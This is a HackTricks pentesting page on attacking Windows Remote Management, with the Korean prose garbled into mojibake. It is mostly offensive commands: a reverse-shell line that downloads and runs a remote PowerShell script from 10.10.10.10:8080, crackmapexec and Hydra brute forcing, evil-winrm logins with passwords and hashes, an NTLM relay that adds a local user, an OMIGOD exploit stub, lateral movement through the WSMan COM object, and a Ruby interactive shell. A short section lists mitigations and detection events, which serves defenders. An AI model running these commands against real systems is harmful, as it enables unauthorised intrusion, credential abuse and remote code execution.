5985,5986 - Pentesting WinRM
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
WinRM
Windows Remote Management (WinRM)๋ Microsoft์์ ๊ฐ์กฐํ๋ Windows ์์คํ ์ ์๊ฒฉ ๊ด๋ฆฌ๋ฅผ HTTP(S)๋ฅผ ํตํด ๊ฐ๋ฅํ๊ฒ ํ๋ ํ๋กํ ์ฝ์ ๋๋ค. ์ด ๊ณผ์ ์์ SOAP๋ฅผ ํ์ฉํฉ๋๋ค. ๋ณธ์ง์ ์ผ๋ก WMI์ ์ํด ๊ตฌ๋๋๋ฉฐ, WMI ์์ ์ ์ํ HTTP ๊ธฐ๋ฐ ์ธํฐํ์ด์ค๋ก ๋ํ๋ฉ๋๋ค.
๋จธ์ ์ WinRM์ด ์กด์ฌํ๋ฉด PowerShell์ ํตํด ๊ฐ๋จํ ์๊ฒฉ ๊ด๋ฆฌ๊ฐ ๊ฐ๋ฅํ๋ฉฐ, ์ด๋ ๋ค๋ฅธ ์ด์ ์ฒด์ ์ SSH์ ์ ์ฌํฉ๋๋ค. WinRM์ด ์๋ ์ค์ธ์ง ํ์ธํ๋ ค๋ฉด ํน์ ํฌํธ์ ๊ฐ๋ฐฉ ์ฌ๋ถ๋ฅผ ํ์ธํ๋ ๊ฒ์ด ์ข์ต๋๋ค:
- 5985/tcp (HTTP)
- 5986/tcp (HTTPS)
์ ๋ชฉ๋ก์์ ์ด๋ฆฐ ํฌํธ๋ WinRM์ด ์ค์ ๋์์์ ๋ํ๋ด๋ฉฐ, ๋ฐ๋ผ์ ์๊ฒฉ ์ธ์ ์ ์์ํ ์ ์๋ ์๋๋ฅผ ํ์ฉํฉ๋๋ค.
WinRM ์ธ์ ์์ํ๊ธฐ
PowerShell์ WinRM์ ๋ง๊ฒ ๊ตฌ์ฑํ๊ธฐ ์ํด Microsoft์ Enable-PSRemoting cmdlet์ด ์ฌ์ฉ๋๋ฉฐ, ์ด๋ ์ปดํจํฐ๊ฐ ์๊ฒฉ PowerShell ๋ช
๋ น์ ์๋ฝํ๋๋ก ์ค์ ํฉ๋๋ค. ๊ถํ์ด ์์น๋ PowerShell ์ก์ธ์ค๋ฅผ ํตํด ๋ค์ ๋ช
๋ น์ ์คํํ์ฌ ์ด ๊ธฐ๋ฅ์ ํ์ฑํํ๊ณ ๋ชจ๋ ํธ์คํธ๋ฅผ ์ ๋ขฐํ ์ ์๋๋ก ์ง์ ํ ์ ์์ต๋๋ค:
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
์ด ์ ๊ทผ ๋ฐฉ์์ trustedhosts ๊ตฌ์ฑ์ ์์ผ๋์นด๋๋ฅผ ์ถ๊ฐํ๋ ๊ฒ์ ํฌํจํ๋ฉฐ, ์ด๋ ๊ทธ ํจ์๋ก ์ธํด ์ ์คํ ๊ณ ๋ ค๊ฐ ํ์ํ ๋จ๊ณ์
๋๋ค. ๋ํ ๊ณต๊ฒฉ์์ ๋จธ์ ์์ ๋คํธ์ํฌ ์ ํ์ โPublicโ์์ โWorkโ๋ก ๋ณ๊ฒฝํด์ผ ํ ์๋ ์์์ ์ธ๊ธํฉ๋๋ค.
๊ฒ๋ค๊ฐ, WinRM์ wmic ๋ช
๋ น์ ์ฌ์ฉํ์ฌ ์๊ฒฉ์ผ๋ก ํ์ฑํํ ์ ์์ผ๋ฉฐ, ๋ค์๊ณผ ๊ฐ์ด ์์ฐ๋ฉ๋๋ค:
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
์ด ๋ฐฉ๋ฒ์ ์๊ฒฉ์ผ๋ก WinRM์ ์ค์ ํ ์ ์๊ฒ ํ์ฌ, ์๊ฑฐ๋ฆฌ์์ Windows ๋จธ์ ์ ๊ด๋ฆฌํ๋ ์ ์ฐ์ฑ์ ํฅ์์ํต๋๋ค.
๊ตฌ์ฑ ํ์ธํ๊ธฐ
๊ณต๊ฒฉ ๋จธ์ ์ ์ค์ ์ ํ์ธํ๊ธฐ ์ํด Test-WSMan ๋ช
๋ น์ ์ฌ์ฉํ์ฌ ๋์์ด WinRM์ด ์ ๋๋ก ๊ตฌ์ฑ๋์๋์ง ํ์ธํฉ๋๋ค. ์ด ๋ช
๋ น์ ์คํํ๋ฉด ํ๋กํ ์ฝ ๋ฒ์ ๋ฐ wsmid์ ๋ํ ์ธ๋ถ ์ ๋ณด๋ฅผ ์์ ํ๊ฒ ๋๋ฉฐ, ์ด๋ ์ฑ๊ณต์ ์ธ ๊ตฌ์ฑ์ ๋ํ๋
๋๋ค. ์๋๋ ๊ตฌ์ฑ๋ ๋์๊ณผ ๊ตฌ์ฑ๋์ง ์์ ๋์์ ์์ ์ถ๋ ฅ ์์์
๋๋ค:
- ์ ์์ ์ผ๋ก ๊ตฌ์ฑ๋ ๋์์ ๊ฒฝ์ฐ, ์ถ๋ ฅ์ ๋ค์๊ณผ ์ ์ฌํ๊ฒ ๋ํ๋ฉ๋๋ค:
Test-WSMan <target-ip>
ํ๋กํ ์ฝ ๋ฒ์ ๋ฐ wsmid์ ๋ํ ์ ๋ณด๊ฐ ํฌํจ๋์ด์ผ ํ๋ฉฐ, ์ด๋ WinRM์ด ์ฌ๋ฐ๋ฅด๊ฒ ์ค์ ๋์์์ ๋ํ๋ ๋๋ค.
.png)
- ๋ฐ๋๋ก, WinRM์ด ๊ตฌ์ฑ๋์ง ์์ ๋์์ ๊ฒฝ์ฐ, ์ด๋ฌํ ์ธ๋ถ ์ ๋ณด๊ฐ ์์ผ๋ฉฐ, ์ ์ ํ WinRM ์ค์ ์ด ์์์ ๊ฐ์กฐํฉ๋๋ค.
.png)
๋ช ๋ น ์คํ
๋์ ๋จธ์ ์์ ipconfig๋ฅผ ์๊ฒฉ์ผ๋ก ์คํํ๊ณ ๊ทธ ์ถ๋ ฅ์ ๋ณด๋ ค๋ฉด ๋ค์์ ์ํํ์ญ์์ค:
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
.png)
ํ์ฌ PS ์ฝ์์ ๋ช ๋ น์ ์คํํ ์ ์์ต๋๋ค _Invoke-Command_๋ฅผ ํตํด. ๋ก์ปฌ์ _enumeration_์ด๋ผ๋ ํจ์๊ฐ ์๊ณ ์ด๋ฅผ ์๊ฒฉ ์ปดํจํฐ์์ ์คํํ๊ณ ์ถ๋ค๋ฉด, ๋ค์๊ณผ ๊ฐ์ด ํ ์ ์์ต๋๋ค:
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
์คํฌ๋ฆฝํธ ์คํ
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
๋ฆฌ๋ฒ์ค ์ ธ ์ป๊ธฐ
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
PS ์ธ์ ๊ฐ์ ธ์ค๊ธฐ
๋ํํ PowerShell ์
ธ์ ์ป์ผ๋ ค๋ฉด Enter-PSSession์ ์ฌ์ฉํ์ธ์:
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
.png)
์ธ์ ์ โํฌ์์โ ๋ด๋ถ์ ์๋ก์ด ํ๋ก์ธ์ค(wsmprovhost)์์ ์คํ๋ฉ๋๋ค.
WinRM ๊ฐ์ ์ด๊ธฐ
PS ์๊ฒฉ ๊ด๋ฆฌ ๋ฐ WinRM์ ์ฌ์ฉํ๋ ค๊ณ ํ์ง๋ง ์ปดํจํฐ๊ฐ ๊ตฌ์ฑ๋์ง ์์ ๊ฒฝ์ฐ, ๋ค์์ ํตํด ํ์ฑํํ ์ ์์ต๋๋ค:
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
Saving and Restoring sessions
์ด ์๋ํ์ง ์์ต๋๋ค ๋ง์ฝ ์ธ์ด๊ฐ ์๊ฒฉ ์ปดํจํฐ์์ ์ ํ๋์ด ์๋ค๋ฉด.
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
์ด ์ธ์ ๋ด์์ _Invoke-Command_๋ฅผ ์ฌ์ฉํ์ฌ PS ์คํฌ๋ฆฝํธ๋ฅผ ๋ก๋ํ ์ ์์ต๋๋ค.
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
์ค๋ฅ
๋ค์ ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ฉด:
enter-pssession : ์๊ฒฉ ์๋ฒ 10.10.10.175์ ์ฐ๊ฒฐํ๋ ๋ฐ ์คํจํ์ต๋๋ค. ์ค๋ฅ ๋ฉ์์ง: WinRM ํด๋ผ์ด์ธํธ๊ฐ ์์ฒญ์ ์ฒ๋ฆฌํ ์ ์์ต๋๋ค. ์ธ์ฆ ๋ฐฉ์์ด Kerberos์ ๋ค๋ฅด๊ฑฐ๋ ํด๋ผ์ด์ธํธ ์ปดํจํฐ๊ฐ ๋๋ฉ์ธ์ ๊ฐ์
๋์ง ์์ ๊ฒฝ์ฐ HTTPS ์ ์ก์ ์ฌ์ฉํด์ผ ํ๊ฑฐ๋ ๋์ ์ปดํจํฐ๋ฅผ TrustedHosts ๊ตฌ์ฑ ์ค์ ์ ์ถ๊ฐํด์ผ ํฉ๋๋ค. TrustedHosts๋ฅผ ๊ตฌ์ฑํ๋ ค๋ฉด winrm.cmd๋ฅผ ์ฌ์ฉํ์ญ์์ค. TrustedHosts ๋ชฉ๋ก์ ์๋ ์ปดํจํฐ๋ ์ธ์ฆ๋์ง ์์ ์ ์์ต๋๋ค. ๋ค์ ๋ช
๋ น์ ์คํํ์ฌ ์ด์ ๋ํ ์์ธํ ์ ๋ณด๋ฅผ ์ป์ ์ ์์ต๋๋ค: winrm help config. ์์ธํ ๋ด์ฉ์ about_Remote_Troubleshooting ๋์๋ง ์ฃผ์ ๋ฅผ ์ฐธ์กฐํ์ญ์์ค.
ํด๋ผ์ด์ธํธ์์ ์๋ํ์ญ์์ค (์ ๋ณด๋ ์ฌ๊ธฐ์์ ํ์ธํ์ญ์์ค):
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
WinRM ์ฐ๊ฒฐ์ ์ํ ๋ฆฌ๋ ์ค
๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ
์ฃผ์ํ์ธ์, winrm์ ๋ํ ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ์ ์ฌ์ฉ์๋ฅผ ์ฐจ๋จํ ์ ์์ต๋๋ค.
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
evil-winrm ์ฌ์ฉํ๊ธฐ
gem install evil-winrm
๋ฌธ์๋ฅผ GitHub์์ ์ฝ์ด๋ณด์ธ์: https://github.com/Hackplayers/evil-winrm
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
์ ์ฑ winrm์ ์ฌ์ฉํ์ฌ IPv6 ์ฃผ์์ ์ฐ๊ฒฐํ๋ ค๋ฉด /etc/hosts ๋ด์ ๋๋ฉ์ธ ์ด๋ฆ์ IPv6 ์ฃผ์๋ก ์ค์ ํ๋ ํญ๋ชฉ์ ๋ง๋ค๊ณ ํด๋น ๋๋ฉ์ธ์ ์ฐ๊ฒฐํฉ๋๋ค.
ํด์๋ฅผ ์ ์ฑ winrm์ผ๋ก ์ ๋ฌํ๊ธฐ
evil-winrm -u <username> -H <Hash> -i <IP>
.png)
PS-docker ๋จธ์ ์ฌ์ฉํ๊ธฐ
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
๋ฃจ๋น ์คํฌ๋ฆฝํธ ์ฌ์ฉํ๊ธฐ
์ฌ๊ธฐ์์ ์ถ์ถํ ์ฝ๋: https://alamot.github.io/winrm_shell/
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
Shodan
port:5985 Microsoft-HTTPAPI
Recent Vulnerabilities & Offensive Techniques (2021-2025)
NTLM relay directly to WinRM (WS-MAN)
Impacket 0.11 (2023๋
5์)๋ถํฐ ntlmrelayx.py๋ ์บก์ฒ๋ NTLM ์๊ฒฉ ์ฆ๋ช
์ WS-MAN/WinRM ๋ฆฌ์ค๋๋ก ์ง์ ๋ฆด๋ ์ดํ ์ ์์ต๋๋ค. ํธ์คํธ๊ฐ ์ฌ์ ํ **์ํธํ๋์ง ์์ HTTP (5985)**์์ ์์ ๋๊ธฐํ๋ ๊ฒฝ์ฐ, ๊ณต๊ฒฉ์๋ mitm6 (๋๋ Responder)๋ฅผ ๊ฒฐํฉํ์ฌ ์ธ์ฆ์ ๊ฐ์ ํ๊ณ SYSTEM ์์ค์ ์ฝ๋ ์คํ์ ์ป์ ์ ์์ต๋๋ค:
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
--command "net user pwned P@ssw0rd! /add"
Mitigations
- HTTP ๋ฆฌ์ค๋ ๋นํ์ฑํ โ
Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false - HTTPS ๊ฐ์ ์ ์ฉ ๋ฐ ์ต๊ทผ Windows ๋ฒ์ ์์ ์ธ์ฆ์ ์ํ ํ์ฅ ๋ณดํธ(EPA) ํ์ฑํ.
OMIGOD โ CVE-2021-38647 (Azure OMI)
Azure Linux ์์ด์ ํธ๋ Open Management Infrastructure (OMI) ์๋น์ค๋ฅผ ์ฌ์ฉํ์ฌ 5985/5986 ํฌํธ์์ WinRM/WS-MAN API๋ฅผ ๋ ธ์ถํฉ๋๋ค. ๋ ผ๋ฆฌ ์ค๋ฅ๋ก ์ธํด ๋ฃจํธ๋ก์ ์ธ์ฆ๋์ง ์์ RCE๊ฐ ๊ฐ๋ฅํ์ต๋๋ค:
curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml โฆ/>'
OMI (๋ฒ์ โฅ 1.6.8-1)๋ฅผ ํจ์นํ๊ฑฐ๋ ์ ๊ฑฐํ๊ณ ํด๋น ํฌํธ๋ฅผ ์ธํฐ๋ท์์ ์ฐจ๋จํ์ญ์์ค.
WSMan.Automation COM ๋จ์ฉ์ ํตํ ์ธก๋ฉด ์ด๋
WinRM์ WSMan.Automation COM ๊ฐ์ฒด๋ฅผ ํตํด PowerShell ์์ด ๊ตฌ๋๋ ์ ์์ต๋๋ค โ ์ ํ๋ ์ธ์ด ๋ชจ๋์ ์์คํ
์์ ์ ์ฉํฉ๋๋ค. SharpWSManWinRM๊ณผ ๊ฐ์ ๋๊ตฌ๊ฐ ์ด ๊ธฐ์ ์ ๋ํํฉ๋๋ค:
$ws = New-Object -ComObject 'WSMan.Automation'
$session = $ws.CreateSession('http://srv01:5985/wsman',0,$null)
$cmdId = $session.Command('cmd.exe',@('/c','whoami'))
$session.Signal($cmdId,0)
์คํ ์ฒด์ธ (svchost โ wmiprvse โ cmd.exe)์ ๊ณ ์ PS-Remoting๊ณผ ๋์ผํฉ๋๋ค.
๋๊ตฌ ์ ๋ฐ์ดํธ
- Evil-WinRM v3.x (2024) โ ์ด์ Kerberos (
-k/--spn) ๋ฐ ์ธ์ฆ์ ๊ธฐ๋ฐ ์ธ์ฆ (--cert-pem/--key-pem), ์ธ์ ๋ก๊น (-L) ๋ฐ ์๊ฒฉ ๊ฒฝ๋ก ์์ฑ์ ๋นํ์ฑํํ๋ ๊ธฐ๋ฅ (-N)์ ์ง์ํฉ๋๋ค.
RHOST=10.0.0.25 evil-winrm -i $RHOST -u j.doe -k --spn HTTP/$RHOST
- **Python โ
pypsrp0.9 (2024)**๋ CredSSP ๋ฐ Kerberos๋ฅผ ํฌํจํ์ฌ Linux์์ WinRM ๋ฐ PS-Remoting์ ์ ๊ณตํฉ๋๋ค:
from psrp.client import Client
c = Client('srv01', username='ACME\\j.doe', ssl=True)
print(c.execute_cmd('ipconfig /all').std_out.decode())
- ํ์ง โ Microsoft-Windows-WinRM/Operational ๋ก๊ทธ๋ฅผ ๋ชจ๋ํฐ๋งํฉ๋๋ค:
- ์ด๋ฒคํธ 91 / 163 โ ์ ธ ์์ฑ
- ์ด๋ฒคํธ 182 โ ์ธ์ฆ ์คํจ
- ๋ณด์ ๋ก๊ทธ์ ์ด๋ฒคํธ 4262๋ ์์ค IP๋ฅผ ๊ธฐ๋กํฉ๋๋ค (2022๋ 7์ CUs ์ถ๊ฐ). ์ด๋ค์ ์ค์์์ ์์งํ๊ณ ์ต๋ช ๋๋ ์ธ๋ถ IP์ ๋ํด ๊ฒฝ๊ณ ํฉ๋๋ค.
Shodan
port:5985 Microsoft-HTTPAPI
์ฐธ์กฐ
-
https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/
-
https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/
-
https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
-
https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/
HackTricks ์๋ ๋ช ๋ น
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p โMySuperSecr3tPass123!โ
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html
Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


